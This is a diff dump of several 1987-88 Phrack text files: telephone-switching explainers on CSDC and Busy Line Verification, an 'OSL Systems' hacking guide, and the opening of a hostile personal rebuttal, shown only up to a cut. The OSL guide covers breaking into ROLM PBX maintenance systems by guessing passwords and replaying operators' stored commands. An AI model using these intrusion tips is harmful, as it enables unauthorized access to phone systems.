16
+ || PLP | PHRACK XII - PHRACK XII | PLP ||
17
+ /\ ----------------------------- /\
18
+ <[]>==========================================<[]>
19
+ \/ Phreak Klass Room 2600 = 806-799-0016 \/
20
+ || _______________ Login: Educate ||
21
+ ++ |The only BBS | Sysop:Egyptian Lover ++
22
+ || |that teaches.| Cosysop:The Executioner||
23
+ /\ --------------- Board lose:Oryan Quest /\
24
+ <[]>==========================================<[]>
25
+ \/ \/
26
+
27
+ Preface:
28
+ ========
29
+
30
+ This is the second part of my CSDC (Circuit Switched Digital Capability)
31
+ series, the first being in PHRACK X. It is suggested that you read the first
32
+ part and also the file on PACT in PHRACK XI. If I feel the material was not
33
+ covered completely, I will make a third addition to this file.
34
+
35
+
36
+ Hardware Interfaces
37
+ ===================
38
+
39
+ A NCTE or equivalent network interface equipment, located on the customer
40
+ premises, is required to provide the CSDC feature for a customer. The NCTE or
41
+ an equivalent circuit, located on the customer's premises, is required to
42
+ provide TCM (Time-Compression-Multiplexing) transmission on the 2-wire
43
+ subscriber loop. The NCTE also has a remote loopback for testing from CSDC
44
+ central office.
45
+ Dedicated 2-way CSDC trunk circuits are provided via DCT (Digital Carrier
46
+ Trunk) combined alternate data/voice (CADV) units with DCT supervision. MF and
47
+ CCIS signalling is allowed on these trunks. They provide signalling, switching
48
+ and trunking functions between 1A ESS switch and other CSDC offices. To
49
+ provide CSDC, the DCT bank must be equipped with alarm and digroup control
50
+ units. A Digital Office Timing Supply (DOTS) is needed to provide network
51
+ synchronization for the CSDC feature. A minimum of 3 CSDC maintenance circuits
52
+ are needed for the CSDC feature to operate. The circuit provides digital
53
+ signals for testing CSDC trunks and loops. They also provide a test
54
+ termination for incoming CSDC calls. If an office has superimposed ringing for
55
+ 4 and 8 party lines, these ringing circuits may be used for loop testing with
56
+ the maintenance circuit.
57
+
58
+ Remote Switching System
59
+ =======================
60
+ The RSS remote frame contains eight special service slot positions that can be
61
+ used for D4 type plug in units (basically allows the RSS to have CSDC
62
+ abilities). This allows the CSDC TRXS (Time Compression Multiplexing Remote
63
+ Subscriber Exchange) channel units to be housed in the RSS frame. The CSDC
64
+ feature is provided via the RSS T1 carrier facilities. The T1 carriers for
65
+ CSDC service terminate with position 1 and 0 at the RSS. A ringing and tone
66
+ plant is required in the RSS office to ring the phones of special service
67
+ channel unit subscribers.
68
+
69
+
70
+ Operation of the CSDC
71
+ =====================
72
+
73
+ An off-hook origination initiates the seizure of an originating register.
74
+ A line translation is performed and the CSDC indicator is received from the
75
+ Line Equipment Number Class (LENCL) and is stored in the register. A touch
76
+ tone service receiver is connected to the line and dial tone is applied. Upon
77
+ receiving a digit, dial tone is removed. If the first digit is a '#', digit
78
+ collection is set up to collect 2 more digits. Upon receipt of the 2 digits
79
+ (99), the PACT (Prefix Access Code Translator) is indexed via the dialed
80
+ digits to determine what service has been requested. If the line cannot have
81
+ CSDC, an error message is sent. The AB digits (carrier selection) are
82
+ collected next. Once the AB digits have been determined to be valid, the CCOL
83
+ (Chart Column) is received. The CCOL merely is a code to tell the PACT what is
84
+ to be done. Once the AB digits and the CSDC CCOL is received, the original
85
+ register is overwritten with the CSDC CCOL. The CSDC office then sends a bit
86
+ down the line to tell the equipment that a CSDC call is being processed.
87
+ The call is now reinitialized to appear as though no digits have been
88
+ collected. Digit collection proceeds until the proper number of digits (7 to
89
+ 10) has been received. An AMA register is seized at the end of the dialing.
90
+ The call is then routed according to the dialed digits on a CSDC outgoing
91
+ trunk. Answer guard timing for CSDC calls is 800 ms. Upon answer, the answer
92
+ time is recorded in the AMA register.
93
+ An outpulsing trunk is seized and a POB is hunted. If an outgoing trunk
94
+ and outpulsing device are needed, one will be hunted. Information on the trunk
95
+ is stored and a transfer to the outpulsing routine (MF or CCIS) is done. A
96
+ verification insures that both calling and called parties are CSDC allowed. If
97
+ they are not, the call is routed to an Automatic Intercept Service (AIS).
98
+ For MF outpulsing, a junior register is seized, the outgoing trunk is put
99
+ into the proper states, and start pulsing signal detection is done followed by
100
+ digit outpulsing. For CCIS, call processing is the same as a normal call but a
101
+ CCIS continuity check is performed while on the on-hook state.
102
+ For an incoming call, the CSDC bit from the Trunk Class Code (TCC) is
103
+ stored in the incoming register and a CSDC count is pegged. Digit collection
104
+ is performed and a terminating DN translation is performed. Ringing is applied
105
+ normally and once it has been answered, the incoming trunk is put in the
106
+ off-hook state to pass answer to the next office.
107
+ Standard disconnect and trunk guard timing is performed on CSDC calls
108
+ when the called or calling party goes off-hook after a talking path has been
109
+ established.
110
+
111
+
112
+ Standard CSDC Dynamics
113
+ ======================
114
+
115
+ Call forwarding codes dialed after the CSDC code result in reorder.
116
+
117
+ The Call waiting option is also suspended when a CSDC call is in progress.
118
+ Busy tone is given to POTS call that terminates to a CSDC connection. Busy
119
+ tone is also given to a calling CSDC party if it encounters a busy line.
120
+
121
+ In order to have a 800 CSDC feature, the office must have CCIS INWATS ability
122
+ in the OSO (Originating Screening Office).
123
+
124
+ Dialing 911 after the CSDC code is allowed, but 411/611 calls are routed to
125
+ error messages.
126
+
127
+
128
+ NCTE (Network Channel Terminating Equipment)
129
+ ============================================
130
+
131
+ As covered in Part 1, the NCTE is the equipment that you need to have CSDC.
132
+ The NCTE is a piece of hardware that is connected to the CO loop and a
133
+ terminal. On the terminal, there are 8 jacks for 8 pins on the NCTE. The
134
+ functions of each pin are as followed.
135
+
136
+ 1 - TRANSMISSION DATA
137
+ 2 - TRANSMISSION DATA
138
+ 3 - MODE CONTROL
139
+ 4 - MODE CONTROL
140
+ 5 - TIP VOICE
141
+ 6 - RING VOICE
142
+ 7 - RECEIVED DATA
143
+ 8 - RECEIVED DATA
144
+
145
+ ==============================================================================
146
+
147
+
148
+ This ends PART II of the CSDC series. Since Taran King was in such a hurry, I
149
+ will finish the 3rd file with SCCS integrations, loop structure and RSS
150
+ structures.
151
+
152
+ If you have any questions about this file or any other file, please leave me a
153
+ message on either...
154
+
155
+ Phreak KlassRoom 2600 = 806-799-0016 LOGIN:EDUCATE
156
+
157
+ My Voice Mail Box = 214-733-5283
phrack/issue12/7.txt ADDED
@@ -0,0 +1,209 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue 12, Phile #7 of 11
4
+
5
+ -/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-
6
+ \ /
7
+ / Hacking : OSL Systems \
8
+ \ /
9
+ / Written by Evil Jay \
10
+ \ /
11
+ / (C) 1987/88 Evil Jay \
12
+ \ /
13
+ -/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-
14
+
15
+
16
+
17
+ Prologue:
18
+
19
+
20
+ This file is for all those people who are running across the OSL system
21
+ and are constantly confused about getting in and what to do once you're in.
22
+ Because of the trouble I had getting a manual on the system from ROLM, I
23
+ was forced to write this file from what I already know, and what I can do
24
+ on the few systems I have gained access to. Since this file is far from
25
+ complete (without a manual, most are), I'll leave it to you, to write up
26
+ future files on the OSL system. Credit goes to Taran King who got me
27
+ interested in writing the file, and who tried to help me get a manual (my
28
+ social engineering leaves something to be desired).
29
+
30
+
31
+ What is OSL:
32
+
33
+ Actually it has been termed as Operating Systems Location, Off Site
34
+ Location and a lot of other names. Which? I'm not sure. What I can tell
35
+ you is that it's an operating system running on an IBM (?) that does
36
+ remote maintenance operations on a ROLM PBX (Referred to as CBX I
37
+ believe). As I said, this file is not too complete, and I was unable to
38
+ get very much information about the system, or the PBX system itself. I
39
+ believe Celtic Phrost wrote a file on ROLM PBX systems, and you might want
40
+ to read that or other ROLM files for more information.
41
+
42
+
43
+
44
+ Getting In:
45
+
46
+ If you have trouble logging in, try changing your parity. Also, this
47
+ system will only except uppercase. The first thing you should see when you
48
+ get a carrier is the following:
49
+
50
+
51
+
52
+ MARAUDER10292 01/09/85(^G) 1 03/10/87 00:29:47
53
+ RELEASE 8003
54
+ OSL, PLEASE.
55
+ ?
56
+
57
+
58
+ MARAUDER10292 is the system identification. Most of the time, this will
59
+ be the name of the company running the OSL system, but occasionally you
60
+ will find a system, you will not be able to identify. CN/A it. It might be
61
+ your only chance of gaining access to that particular system.
62
+
63
+ 01/09/85. This is a mystery to me. It could be the time that the system
64
+ first went up (but sounds unlikely), the date of the current version of
65
+ the OSL operating system...etc.
66
+
67
+ The ^G is a Control-G, and rings a bell at your terminal. I do not know
68
+ why, but it does...
69
+
70
+ The rest of the text on that line is the current time and date.
71
+
72
+ RELEASE 8003 could be, again, the revision number of the software
73
+ package. I don't know.
74
+
75
+ OSL PLEASE means that you can now attempt to login.
76
+
77
+ The ? is your prompt. Remember the uppercase only. Naturally we are
78
+ going to type "OSL" to login. Once this is done, we will receive this
79
+ prompt:
80
+
81
+ KEY:
82
+
83
+ This is the password prompt, and so far as I can tell, can be anything
84
+ up to, say, 20 characters long. Obviously we are going to try MARAUDERS or
85
+ MARAUDER as a password. Here's the tricky part. Some systems do not tell
86
+ you whether the password was right or not. Sometimes, if it's right, you
87
+ will get a ? prompt again. If not, you will get an ERROR msg. It depends
88
+ on the system. Each system is set up a different way. Also, some systems
89
+ require all alphabetics, while others require alphanumerics and sometimes
90
+ they will require both. Again, you may or may not get an ERROR message.
91
+ You can ABORT anything at any time by sending a BREAK. One good thing
92
+ about the system is that you have, so far as I can tell, unlimited
93
+ attempts at guessing the "KEY". Also, Druidic Death says that "," is a
94
+ default, or is commonly used (I don't remember which). Unfortunately, I
95
+ have never been able to get this to work myself.
96
+
97
+
98
+ Your IN!:
99
+
100
+ Okay, first thing we need to do is type HELP. If you have access, which
101
+ again, differs from system to system, you will get a menu that looks like
102
+ so. (Maybe not, but I am through telling you how strange this system is.)
103
+
104
+
105
+
106
+ PLEASE ENTER ONE OF THE FOLLOWING COMMANDS
107
+
108
+ LREP - DISPLAY REPORT MENU
109
+ LST - LIST REPORT COMMANDS CURRENTLY STORED
110
+ ACD - ADD AN ACD COMMAND
111
+ DEL - DELETE AN ACD COMMAND
112
+ MOD - MODIFY AN ACD COMMAND
113
+ SUS - SUSPEND AN ACD COMMAND
114
+ ACT - ACTIVATE AN ACD COMMAND
115
+
116
+
117
+ LREP: This lists a menu of reports you can view.
118
+
119
+ LST : This lists all the commands that have been stored in the buffer.
120
+
121
+ ACD : This activates a command.
122
+
123
+ DEL : This deletes a command in the buffer.
124
+
125
+ MOD : This modifies a command in the buffer.
126
+
127
+ SUS : This suspends a command in the buffer.
128
+
129
+ ACT : This activates a command in the buffer.
130
+
131
+
132
+ Commands Explained:
133
+
134
+ Okay, so now we'll go through all of these commands and show you what they
135
+ do, and of course, explain each example.
136
+
137
+
138
+ LREP:
139
+
140
+ LREP lists a number of reports which can be ran. Here is an example:
141
+
142
+
143
+ REP# NAME SYNTAX
144
+ ---- ---- ------
145
+ 1 - CURRENT STATUS ACD 1,(FIRST),(LAST),(START),(INT),(#INT),(CLR),(REP)
146
+ 2 - CUMULATIVE STATUS ACD 2,(FIRST),(LAST),(START),(INT),(#INT),(CLR),(REP)
147
+ 3 - TRUNK DISPLAY GROUP ACD 3,(FIRST),(LAST),(START),(INT),(#INT),(CLR),(REP)
148
+ 4 - POSITON PERFORMANCE ACD 4,(FIRST),(LAST),(START),(INT),(#INT),(CLR),(REP)
149
+ 5 - ABBREVIATED AGENT ACD 5,(FIRST),(LAST),(START),(INT),(#INT),(CLR),(REP)
150
+ 6 - DAILY PROFILE ACD 6,(FIRST),(LAST),(START),(INT),(#INT),(CLR),(REP)
151
+ 7 - CUMULATIVE AGENT ACD 7,(FIRST),(LAST),(START),(INT),(#INT),(CLR),(REP)
152
+
153
+
154
+ Current Status : Gives you the current status of the PBX system.
155
+ Cumulative Status: Quite obvious.
156
+ Trunk Display Grp: Obvious again.
157
+ Position Prfrmnce: ???
158
+ Abbreviated Agent: ???
159
+ Daily Profile : Gives you a report of how the PBX ran on date 00/00/00.
160
+ Cumulative Agent : ???
161
+
162
+
163
+ ACD:
164
+
165
+ I purposely skipped all the other commands, since they are pretty obvious.
166
+ They all have to do with adding commands to the buffer, modifying them and
167
+ running them..etc. If you get access to a system, it would be wise to LST
168
+ all of the commands that the operators have been running and then try them
169
+ yourself. No biggy, but oh well. The ACD command activates a command and
170
+ lists the desired report on your terminal. While the whole thing can be
171
+ typed on one line, you can just type ACD <REPORT NUMBER> <CR> and do it
172
+ step by step (a little easier to get the hang of it). Now we'll go through
173
+ this, and show you an example of building a command to list the Trunk
174
+ Display Report.
175
+
176
+
177
+ ?ACD 3
178
+ <CTRL-G>FIRST GP OR AGENT ID: (Try 1)
179
+ <CTRL-G>LAST GP OR AGENT ID: (Try 2)
180
+ START TIME: (Enter START TIME in army time such as 22:52:00)
181
+ INTERVAL: (Not sure, hit return)
182
+ # OF INTERVALS: (Not sure, hit return)
183
+ CLEAR(Y/N): (Type Y, but this is stored in the last cleared log)
184
+ REPEAT DAILY?: (No!)
185
+ PRINT LAST CLEARED(Y/N): (Here's where the last cleared shows up)
186
+
187
+ It then prints out the command and executes it, showing you the desired
188
+ report.
189
+
190
+
191
+ The end result:
192
+
193
+ Some other things can be done, such as commands like C and M and a host
194
+ of others, but unfortunately, as I said, these systems are very strange
195
+ and it's hard to find two alike. The computer is not worthless, and
196
+ lots of things can be done on it, but this file is getting quite lengthy.
197
+ If there is enough demand, I will write a follow-up. In the meantime, if I
198
+ have made any mistakes, or you have more knowledge that you would like to
199
+ share with me, I can be reached on the following boards:
200
+
201
+ ShadowSpawn Private, Hell Phrozen Over, Phantasie Realm and a few others.
202
+
203
+ -/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-
204
+ \ /
205
+ / An Evil Jay/Phrack, Inc. \
206
+ \ /
207
+ / Presentation \
208
+ \ /
209
+ -/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-/\-
phrack/issue12/8.txt ADDED
@@ -0,0 +1,180 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue 12, Phile #8 of 11
4
+
5
+ BUSY LINE VERIFICATION PART II
6
+
7
+ WRITTEN BY PHANTOM PHREAKER
8
+
9
+
10
+ This file is meant to be an addition to the first file that was included
11
+ in Phrack Inc. Issue XI. It is assumed that the reader has read and understood
12
+ the previous file. Most of this information will be taken from Bell System
13
+ Publications so you don't have to worry about it being incorrect.
14
+
15
+ First off, I'd like to correct a minor error included in the first file. I
16
+ use the format 'KP+0XX+PRE+SUFF+ST' to show the MF routing that is used. This
17
+ is not correct AT&T syntax though, the correct format is KP+0XX+NXX+XXXX+ST.
18
+ This is minor detail, but some people are very picky.
19
+
20
+ The Verification Network
21
+ ------------------------
22
+
23
+ In a TSPS office, a verification circuit is associated with a 4-wire
24
+ OutGoing Trunk (OGT) and a 3-way/4-wire bridging repeater arrangement. This is
25
+ the circuit that does the speech scrambling. The speech and other tones (like
26
+ busy and re-order) are frequency shifted, but are still recognizable by a TSPS
27
+ operator.
28
+
29
+ TSPS verification trunks are connected via dedicated lines to incoming
30
+ verification trunks in a toll office. The toll office provides either a link
31
+ to an outgoing trunk and dedicated facilities to another toll office, or an
32
+ outgoing toll connecting trunk and dedicated facilities to an incoming
33
+ verification trunk in a local office. Each toll office has ways to check the
34
+ security of verification trunks. In electronic toll offices (ESS offices), two
35
+ independent office data translations provide security of the trunk. Electro-
36
+ mechanical toll offices (Such as a CrossBar Tandem (XBT)) use an electrical
37
+ cross-office check signal or a segregated switching train to control trunk
38
+ connections. Verification trunks relay supervisory signals (such as answering
39
+ supervision) to TSPS from the line being verified. Also, if verification
40
+ trunks are busy, the TSPS operator will receive a re-order.
41
+
42
+ The functions of the VFY key
43
+ ----------------------------
44
+
45
+ When the operator presses the VFY key, several checks are made upon the
46
+ number that has been entered. These are:
47
+ A Check to see if the line is within the verification network accessible
48
+ by that particular TSPS. If the line is not, the VFY key will flash.
49
+
50
+ A check to see if the owner of the line wishes BLV to be possible or not.
51
+ If the line is something like a police emergency line, then the VFY key will
52
+ flash, similar to the first check.
53
+
54
+ Important TSPS keys
55
+ -------------------
56
+
57
+ When the VFY lamp lights steady (doesn't flash), indicating the process is
58
+ acceptable, the operator puts the calling customer on hold and accesses an
59
+ idle loop on the operator position. The ACS (Access) lamp lights steady if a
60
+ verification trunk is available at that time. Then, the operator presses the
61
+ ST key which sends out the complete number to be verified, in MF. The
62
+ verification circuit activates, and the operator listens for scrambled speech
63
+ and also watches the CLD (Called) lamp on her console. The CLD lamp is lighted
64
+ when the operator loop was accessed, and will remain lit if the line being
65
+ verified is on-hook. The operator has two ways of seeing if the line is in
66
+ use, by listening, and by watching the CLD lamp. If the CLD lamp light goes
67
+ out, then the line is off-hook.
68
+
69
+ If a successful BLV/EMER INT is performed, the operator presses the REC
70
+ MSG MSG (Record Message) key, which completes the verification. If the EMER
71
+ INT lamp is lit, the charges for the interrupt and the verification are
72
+ automatically billed. If the VFY key is pressed twice, it indicates the
73
+ verification should not be billed. This could be due to a customer error or a
74
+ customer disconnect.
75
+
76
+ Charging capabilities
77
+ ---------------------
78
+
79
+ A customer can pay for a BLV/EMER INT in several ways. They can have the
80
+ charges put on their phone bill, if they are calling from their home, they can
81
+ bill the charges to an AT&T Calling Card, or pay directly from a coinphone.
82
+ Details of the BLV/EMER INT function are recorded on AMA tape, which is later
83
+ processed at the RAO (Revenue Accounting Office).
84
+
85
+ The classes of charge are as follows: STATION PAID, which means exactly
86
+ what it says, STATION SPECIAL CALLING, in cases where billing is handled by a
87
+ Calling Card or third number billing, and NO AMA, in unusual billing cases.
88
+
89
+ Also, for BLV/EMER INT calls that originate from a hotel, TSPS can send
90
+ charges to HOBIS (Hotel Billing Information System), HOBIC (Hotel Billing
91
+ Information Center), or a TTY at the hotel.
92
+
93
+ AMA records for BLV/EMER INT are recorded in basically the same format
94
+ that normal calls are recorded. The only difference is that a numeric data
95
+ group is added. The leftmost digit in the data group is a 1 if only a BLV was
96
+ done, but it is a 2 if both a BLV and an EMER INT were done. In case of an
97
+ aborted BLV, the billing record is marked 'No charge'.
98
+
99
+ Inward Operator differences
100
+ ---------------------------
101
+
102
+ When an Inward operator does BLV/EMER INT, the class of charge is always
103
+ NO AMA, because billing is handled at the local TSPS site. Inwards also do not
104
+ use the REC MSG key when a TSPS would, they use the VFY key in it's place.
105
+
106
+ The Speech scrambling technique
107
+ -------------------------------
108
+
109
+ The speech scrambling technique that exists to keep the customers privacy
110
+ intact is located in the TSPS console, and not in the verification trunks. The
111
+ scrambling technique can only be deactivated by an operator pressing the EMER
112
+ INT key, or a craftsperson using the console in a special mode. When the
113
+ scrambler is deactivated by an operator doing an EMER INT, the customer hears
114
+ an alerting tone (as mentioned in the first BLV file) made up of a 440Hz tone.
115
+ This tone is initially played for two seconds, and then once every ten seconds
116
+ afterwards until the operator presses her Position Release (POS RLS) key.
117
+
118
+ Operator trouble reporting
119
+ --------------------------
120
+
121
+ When operators have trouble in handling a call, they can enter trouble
122
+ reports that are technically called 'Operator keyed trouble reports'. These
123
+ cause messages to be printed on the maintenance TTY and on the trouble report
124
+ TTY channel. There are different trouble codes for different things, such as
125
+ trouble with the speech scrambler, trouble in the verification network, or
126
+ trouble in collecting charges from a customer.
127
+
128
+ In my area there are 20 such TSPS trouble codes. These are done in MF.
129
+ They are entered with the KP TRBL (Key Pulse Trouble) key followed by a two
130
+ digit trouble code followed by an ST. A trouble code for beeper trouble could
131
+ be entered as KP TRBL+62+ST, and speech scrambler trouble could be KP
132
+ TRBL+89+ST. Some of the other reasons for trouble codes are: Crosstalk, No
133
+ ring, Noisy, can't hear, improper supervision toward the called and calling
134
+ parties, cutoff, positions crossed, coin collecting trouble, third re-order,
135
+ distant operator no answer, echo, data transmission, no answer supervision, ST
136
+ key lit for more than 4 seconds, and others for person-to-person and
137
+ station-to-station completed collect calls.
138
+
139
+ Maintenance and traffic measurements
140
+ ------------------------------------
141
+
142
+ These reports can be output from a maintenance or engineering and service
143
+ data TTY, daily or hourly. Each daily report contains data for the previous
144
+ day. Some traffic counts are as follows:
145
+ Total Verification attempts, VFY key depressions, VFY key depressions when
146
+ the requested number is out of TSPS range, VFY key depressions in which the
147
+ requested number wasn't verifiable, BLV trunk seizures which pass an
148
+ operational test, and EMER INT attempts. Other traffic counts include the
149
+ measurements for usage of BLV trunks, the amount of time BLV trunks were
150
+ unavailable, and the number of times BLV trunks were seized.
151
+
152
+
153
+ I hope this file has helped people further understand how the BLV system
154
+ works. If you haven't read part I, get a copy of Phrack Inc. Issue XI and read
155
+ file #10.
156
+
157
+ As said earlier, most of this information comes directly from Bell System
158
+ Publications and so it should be viewed as correct. However, if you do find
159
+ any errors then please try to let me know about them so they can be corrected.
160
+
161
+ Suggested reading
162
+ -----------------
163
+
164
+ TSPS Part I: The console-Written by The Marauder, LOD/H Technical Journal
165
+ Issue No. 1, file #4
166
+
167
+ Busy Line Verification-Phrack Issue XI, file #10
168
+
169
+ Busy Verification Conference Circuit-Written by 414 Wizard
170
+
171
+ Verification-TAP issue 88, Written by Fred Steinbeck
172
+
173
+ Acknowledgements
174
+ ----------------
175
+ Bell System Technical Journal, Vol. 59, No 8.
176
+ Bell Labs RECORD periodical
177
+
178
+ And the following people for contributing information in some form:
179
+
180
+ Mark Tabas, Doom Prophet, The Marauder
phrack/issue12/9.txt ADDED
@@ -0,0 +1,240 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ==Phrack Inc.==
2
+
3
+ Volume Two, Issue 12, Phile #9 of 11
4
+
5
+ Rebuttal to Phrack Issue 8 and 11 (File 11)
6
+ Written by Scan Man.....
7
+
8
+ It has been requested of Taran King (Who doesn't agree with KL on this subj)
9
+ to put this somewhere in the next issue of Phrack (12) for proper
10
+ distribution. Whether he does or not I cannot say.
11
+
12
+
13
+ Well a number of months have gone by now and I have been written about
14
+ accused of and had rebuttals written for me, all of which were about as clear
15
+ and factual as mud. And that includes the rebuttal that Telecomputist has in
16
+ effect tried to stand with me, and making matters only worse by inaccurate
17
+ information. But then all of this started with inaccurate information from
18
+ PWN, didn't it. KL has resorted to interfering in other peoples lives in order
19
+ to promote his so called news publication. To this I say, if you are going to
20
+ call it news then make it facts. I can buy the Enquirer if I want sensational-
21
+ istic readership boosting and inflated gossip. You do no justice to yourself
22
+ or your publication. I really shouldn't dignify any of this with comment but
23
+ shall as the entire matter has been blown so far out of proportion and since I
24
+ have been phreaking since these kiddies were still messing their diapers I
25
+ feel it a little more than an inconvenience, particularly since these
26
+ gentlemen (and I use the term loosely) can't seem to accomplish anything but
27
+ guesswork and conjecture and have cost me (and my wife and son) a $50,000 job
28
+ so the least I can do is get a few FACTS out.
29
+
30
+ First, I was (and I stress was) employed by a company called Telecom
31
+ Management Corporation. Notice the initials of this company (TMC). Telecom
32
+ Mgnt is a management company, and a management company manages other
33
+ companies. Among the companies it manages are 6 TMC Long Distance markets
34
+ (none of which are in Vegas), two of which are in Charleston where I live and
35
+ NY where I worked (up until two snotty nose teenagers (KL & SR) decided to
36
+ stick there nose where didn't belong). At any rate I was hired and paid by
37
+ Miami, lived in Charleston, and worked in NY. And yes with regard to your "he
38
+ must have been quite an asset to them," I was an asset to them. And KL you
39
+ seem to think it was surprising that they flew me to NY every week. I don't,
40
+ and I'm sure the other 100 businessmen on my flights who I traveled with
41
+ regularly would be surprised that they carried the unique distinction of being
42
+ somehow in the wrong for having their companies send them to NY every week.
43
+ I'll have to tell them this one for a good laff next time I get a 50,000
44
+ dollar a yr job that sends me to NY. Moving right along, I will add that I was
45
+ employed as a Systems Analyst. When I was originally hired, my interview was
46
+ by a fellow from Miami (Telecom Mgnt) and the interview was conducted in the
47
+ Chas office (one of the few times I was ever in there). This however doesn't
48
+ explain why Pauline Frazier and Ben Graves knew me or didn't care for me. The
49
+ reason for this was quite simple: they both knew about me and the bulletin
50
+ board and had also been trying to catch me stealing calls from there company
51
+ (don't know where they ever got that idea <grin>). At any rate they obviously
52
+ were quite unhappy because I got that job.
53
+
54
+ The next comment in rebut to Telecomputist which was a rebut to PWN Phrack
55
+ Issue 8 (what a nightmare), was, and I quote, "I claimed not to have any ties
56
+ with Vegas but didn't claim not to have ties with TMC." Boy talk about factual
57
+ journalism, really grabbing for straws aren't you. Anything to make me look
58
+ bad huh? Wonder why. Wouldn't be for more copies for your next issue would it?
59
+ As you could see at the beginning of this rebuttal I clearly stated that
60
+ Telecom Management ran 6 TMC markets as well as other companies and that they
61
+ were connected but separate from each other. Although none of it is relevant
62
+ to any of this, but that doesn't matter when you are out to get copies for
63
+ your next issue does it KL. At any rate this also shows where Telecomputist,
64
+ although trying to do a good thing, got their facts mixed up too by
65
+ misunderstanding the fact that Telecom Managements initials were the same as
66
+ TMC and were unrelated companies when actually they are.
67
+
68
+ In you next comments you say, "The rest of my statements are highly debatable"
69
+ (might try looking at a few (no make that all) of your own). You also said
70
+ that my statements have no proof (as if yours are so damn factual). First, I
71
+ don't have to prove a thing to assholes like you or anyone else for that
72
+ matter. You also state your decision (as if you have the right to make any
73
+ decisions about me, (shit boy you don't even know me, but you may soon) was to
74
+ do nothing because of lack of proof. And you call what you came up with truth?
75
+ Based on what, your vast personal knowledge of me, your knowledge of something
76
+ some phone phreak told you, because of having worked with me? As for providing
77
+ more ammunition to the idea, I'm not what I claim to be. I have claimed to be
78
+ nothing, it's you doing all the claiming. And there is no "ammunition" to be
79
+ had from the Telecomputist article as it was about as accurate as yours have
80
+ been. Shows you what two people who know nothing about nothing can do if they
81
+ put their minds to it. I might add that this is the first and last statement I
82
+ have personally written that has anything to do with any of this. You also
83
+ stated that, "after three months you had proof," yet you have shown only
84
+ words, not a speck of proof or truth. You have taken the Telecomputist article
85
+ apart and tried every way there was to tear it apart, most of which was
86
+ guesswork and innuendo. Examples of this are your quotes of, "Gee isn't that
87
+ awful expensive," "Notice how he didn't say he had no ties with TMC,"
88
+ "Statements were highly debatable," "Now that he has had a few months to come
89
+ up with a story," etc., that's some real facts there KL, you're a real
90
+ journalist who deals only with facts. You're not out for gossip or character
91
+ assassination. Riiiiiight. I've just been waiting for you to put your foot in
92
+ your mouth (in this case both feet). (Don't worry, I'm sure they will fit
93
+ nicely)
94
+
95
+ I think it's also time to tell the story of how all this got started. It's
96
+ really a comedy of errors (only I'm not laffing). As I stated earlier I was
97
+ paid by Miami, as that's where the home office was. This meant that on
98
+ occasion I also went to Miami as well as NY. In Dec of 85 I learned of a new
99
+ organization being formed called the CFCA (Communications Fraud Control
100
+ Association) although in addition to communications, they support computer and
101
+ credit security as well. Knowing that all the top security people were going
102
+ to be there and being a good phone phreak on the eternal quest for inside
103
+ knowledge, I wanted in on this conference which was held the 6th, 7th and 8th
104
+ of Feb 86 in Miami. Soooooo I convinced Telecom that we should check these
105
+ People out for some benefit to our company with regard to my job (Systems
106
+ Analyst) as after all it was my job to not only develop and operate the
107
+ companies' computers but keep them secure as well. So I had had the perfect
108
+ excuse to get me in the conference. They agreed with me and went for it and
109
+ paid for my flight down there and the conference fee. Moving right along, it
110
+ was the 1st day into the conference when just at lunch I was talking to a guy
111
+ from Pac NW Bell named Larry Algard (whose name I had forgotten til Sally Ride
112
+ showed up on the BBS saying Larry the Algardian had sent me a couple of weeks
113
+ later). At any rate while talking to this guy, a security agent from one of
114
+ the other LD companies that was there came up and said, "Aren't you Scan Man,
115
+ the guy that runs P-80?" Needless to say I about shit, and had to come up with
116
+ a damn good answer in about a 100th of a second. Knowing I was there legally
117
